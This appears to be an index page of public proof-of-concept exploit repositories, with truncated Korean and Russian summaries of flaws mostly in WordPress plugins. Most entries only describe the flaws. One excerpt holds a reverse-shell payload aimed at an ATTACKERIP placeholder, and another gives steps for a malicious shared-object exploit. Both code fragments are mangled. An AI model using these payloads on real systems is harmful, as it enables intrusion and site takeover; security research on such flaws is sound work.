CVE-2025-0316-Exploit

CVE-2025-0316-Exploit CVE-2025-0316 익스플로잇 툴킷 🚨 WordPress 플러그인 WP Directorybox Manager 🔥 CVE-2025-0316 자동화 익스플로잇 스크립트 — 취약한 AJAX 액션을 통한 인증 우회. ⚠️ 법적 고지 이 도구는 다음 용도로만 엄격히 사용해야 합니다: 연구 레드팀 시뮬레이션 승인된 보안 평가 동의 없이 대상을 상대로 이 도구를 사용하는 것은 불법입니다. 🛠 기능 🔍 ?author= 트릭을 통한 사용자 열거 🚪 취약한 플러그인 액션을 악용하여 관리자 패널 접근 권...

CVE-2026-8181-PoC

🚨 CVE-2026-8181 | Обход аутентификации Burst Statistics -brightgreen.svg?style=for-the-badge !CAUTION КРИТИЧЕСКОЕ ПРЕДУПРЕЖДЕНИЕ: Эта уязвимость позволяет неаутентифицированному удалённому злоумышленнику обойти аутентификацию и получить полные привилегии администратора на целевом сайте WordPress,...

CVE-2024-27198-POC

CVE-2024-27198 – JetBrains TeamCity 인증 우회 및 RCE PoC 작성자: EynaExp 범위: 연구 / 방어 검증 / 승인된 테스트 전용 개요 이 저장소는 CVE-2024-27198 의 영향을 받는 JetBrains TeamCity 인스턴스를 대상으로 하는 개념 증명PoC 대량 스캐너 를 포함합니다. CVE-2024-27198은 관리자 권한 전체 탈취 및 원격 코드 실행RCE으로 이어질 수 있는 인증 우회 취약점입니다. 이 도구는 취약한 TeamCity 서버 탐지 , 관리자 접근 권한 검증, 그리고...

CVE-2025-55449-AstrBot-RCE

소개 AstrBot=3.5.17 버전에서는 소스 코드에 JWT secret이 하드코딩되어 있어, 임의의 플러그인을 업로드하여 RCE를 달성할 수 있습니다. 사용 python main.py 'http://127.0.0.1:6185' 소스 코드 https://github.com/AstrBotDevs/AstrBot.git...

CVE-2024-1813-POC

CVE-2024-1813 - Simple Job Board ≤ 2.11.0 WordPress - 인증되지 않은 PHP 객체 주입 🎥 Proof-of-Concept 데모 엔드투엔드: 게스트가 공개 지원 양식을 통해 직렬화된 PHP 객체를 저장하고, 관리자가 지원자 목록을 열면 가젯 체인이 웹쉘을 드롭합니다. Simple Job Board WordPress 플러그인PressTigers에서 발생하는 인증되지 않은 PHP 객체 주입 취약점입니다. 게스트가 공개 지원 양식을 통해 직렬화된 PHP 객체를 저장하고, 이후 관리자가 지원자...

CVE-2025-7955

CVE-2025-7955 RingCentral Communications 1.5 - 1.6.8 - ringcentraladminlogin2faverify 함수의 서버 측 검증 누락으로 인한 인증 우회 🚨 CVE-2025-7955 | RingCentral Communications WordPress 익스플로잇 📝 취약점 개요 CVE: CVE-2025-7955 영향 받는 플러그인: RingCentral Communications WordPress 영향 받는 버전: 1.5 – 1.6.8 CVSS 점수: 9.8 치명적 유형: 인증 우...

cve-2026-7665

CVE-2026-7665 — Essential Addons for Elementor의 인증되지 않은 정보 노출 필드| 세부사항 ---|--- CVE ID| CVE-2026-7665 심각도| 중간 CVSS 점수| 5.3 AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N 영향받는 플러그인| Essential Addons for Elementor 영향받는 버전| ≤ 6.6.4 활성 설치 수| 1,000,000+ CVE 할당 기관| Wordfence CNA 공개일| 2026년 6월 연구자| Anirudh Makkar 요...

CVE-2026-61946-Easy-Appointments-IDOR

CVE-2026-61946: 한 약속 ID로 다른 사람의 예약으로 WordPress Easy Appointments 플러그인에서 인증되지 않은 안전하지 않은 직접 객체 참조를 발견했습니다. 공개 예약 엔드포인트가 쿼리 문자열에서 id를 받아 해당 데이터를 플러그인의 데이터베이스 replace 경로로 전달했습니다. 즉, 새로운 공개 예약 요청이 기존 약속 행의 업데이트로 변환될 수 있었습니다. 로그인, 쿠키 또는 WordPress 계정이 필요하지 않았습니다. 다른 약속의 기본 키를 제공하고 실제 열린 슬롯을 선택하면 플러그인이...

CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE

CVE-2019-9978 - Social Warfare WordPress 플러그인 RCE 이 저장소는 WordPress용 Social Warfare 플러그인버전 system"bash -c \"bash -i & /dev/tcp/ATTACKERIP/LISTENPORT 0&1\""' with openPAYLOADFILE, "w" as f: f.writepayload printf"+ Payload written to PAYLOADFILE" def starthttpserver: """Serve payload over HTTP"""...

CVE-2026-3844

CVE-2026-3844 CVE-2026-3844에 대한 PoC 익스플로잇으로, WordPress Breeze 플러그인에서 원격 코드 실행RCE으로 이어지는 치명적인 인증 없는 파일 업로드 취약점입니다. 📌 개요 CVE-2026-3844 는 Breeze Cache WordPress 플러그인Cloudways 제작의 치명적인Critical 인증 없는 임의 파일 업로드 취약점으로, 2.4.4 이하의 모든 버전 에 영향을 미칩니다. 이 저장소는 승인...

CVE-2024-10924-Wordpress-Docker

CVE-2024-10924 : Wordpress Really Simple Security의 Docker 인증 우회 결함 설명 WordPress용 Really Simple Security 플러그인Free, Pro 및 Pro Multisite 버전 9.0.09.1.1.1은 인증 우회 취약점의 영향을 받습니다. 이 문제는 2단계 인증 REST API 작업에 사용되는 checkloginandgetuser 함수의 부적절한 오류 처리로 인해 발생합니다. 결과적으로, "Two-Factor Authentication"2단계 인증 기능이 활성...

wpstorecart-exploit

bash로 작성된 wpstorecart 2.5.30 이전 플러그인 익스플로잇CVE-2012-3576의 간단한 PoC입니다...

CVE-2024-5084-Red-Team

🚀 HashForm Exploit – Lab Demo 이 저장소는 Hash Form WordPress 플러그인에서 발견된 취약점인 CVE-2024-5084에 대한 개념 증명 익스플로잇을 포함하고 있습니다. 오직 학습, 실험실 테스트 및 보안 연구 목적으로만 사용됩니다. 📌 취약점 정보 CVE ID: CVE-2024-5084 문제: 인증되지 않은 파일 업로드 → 원격 코드 실행 플러그인: Hash Form – Drag & Drop Form Builder ≤ 1.1.0 영향: 공격자가 악성 파일을 업로드하고 시스템 명령을 실행할 ...

CVE-2025-6254

CVE-2025-6254 — Doctreat Core = 1.6.8 — Неаутентифицированное повышение привилегий через внедрение роли 🔥 Краткое описание уязвимости Плагин WordPress Doctreat Core версий = 1.6.8 подвержен уязвимости неаутентифицированного повышения привилегий. Эта критическая ошибка позволяет...

CVE-2018-1000529

CVE-2018-1000529 NVD CVE-2018-1000529: https://nvd.nist.gov/vuln/detail/CVE-2018-1000529 MITRE CVE-2018-1000529: https://cve.mitre.org/cgi-bin/cvename.cgi?name=2018-1000529 Grails Fields 플러그인 =2.2.7의 저장형 XSS 이 저장소는 Grails 팀에 책임 있는 공개를 하기 위해 해당 취약점의 개념 증명PoC을 시연하는 데 사용되었습니다. XSS 취약점은 영향을 받는 Grails...

CVE-2026-11551-PoC

CVE-2026-11551 - White Label & Branding, Free Login Page Customizer에서의 인증되지 않은 권한 상승 White Label & Branding, Free Login Page Customizer update $wpdb-users, $data, ... ← Line 2515: DOUBLE HASH TERSIMPAN 취약한 코드 inc/modules/login-screen/signup-password.php:230-251 / BRANDA - signup-password.php...

CVE-2026-1357

CVE-2026-1357 — WPvivid Backup & Migration ≤ 0.9.123 인증되지 않은 임의 파일 업로드 → RCE CVE-2026-1357CVSS 9.8 Critical, CWE-434에 대한 PoC: WordPress용 WPvivid Backup & Migration 플러그인의 인증되지 않은 임의 파일 업로드로 원격 코드 실행으로 이어집니다. 0.9.124변경 세트 3448386에서 수정되었습니다. Wordfence 버그 바운티 프로그램을 통해 Lucas Montes가 보고했습니다. ███████╗...

CVE-2018-6574

CVE-2018-6574 POC CVE-2018-6574용 익스플로잇 POC 컴파일 1. 다음과 같은 익스플로잇 파일을 생성합니다: include include static void malicious attributeconstructor; void malicious system"COMMAND"; 2. 컴파일합니다: gcc -shared -o exploit.so -fPIC exploit.c 3. 마지막으로, cgo가 당신의 플러그인을 사용하도록 지시하는 Go 코드가 필요합니다: package main // cgo CFLAGS:...

blackash-cve-2025-6389

🔥 CVE-2025-6389 — Критическая уязвимость нулевого дня WordPress RCE wpvultheme 🧩 Что это? CVE-2025-6389 — это критическая CVSS 9.8 уязвимость в плагине WordPress Sneeit Framework ≤ 8.3, широко используемом популярными темами. Она позволяет неавторизованное удаленное выполнение кода — самый опасны...

Kubio AI Page Builder <= 2.5.1 - Local File Inclusion

The Kubio AI Page Builder plugin for WordPress is vulnerable to Local File Inclusion in all versions up to, and including, 2.5.1 via thekubiohybridthemeloadtemplate function. This makes it possible for unauthenticated attackers to include and execute arbitrary files on the server, allowing the...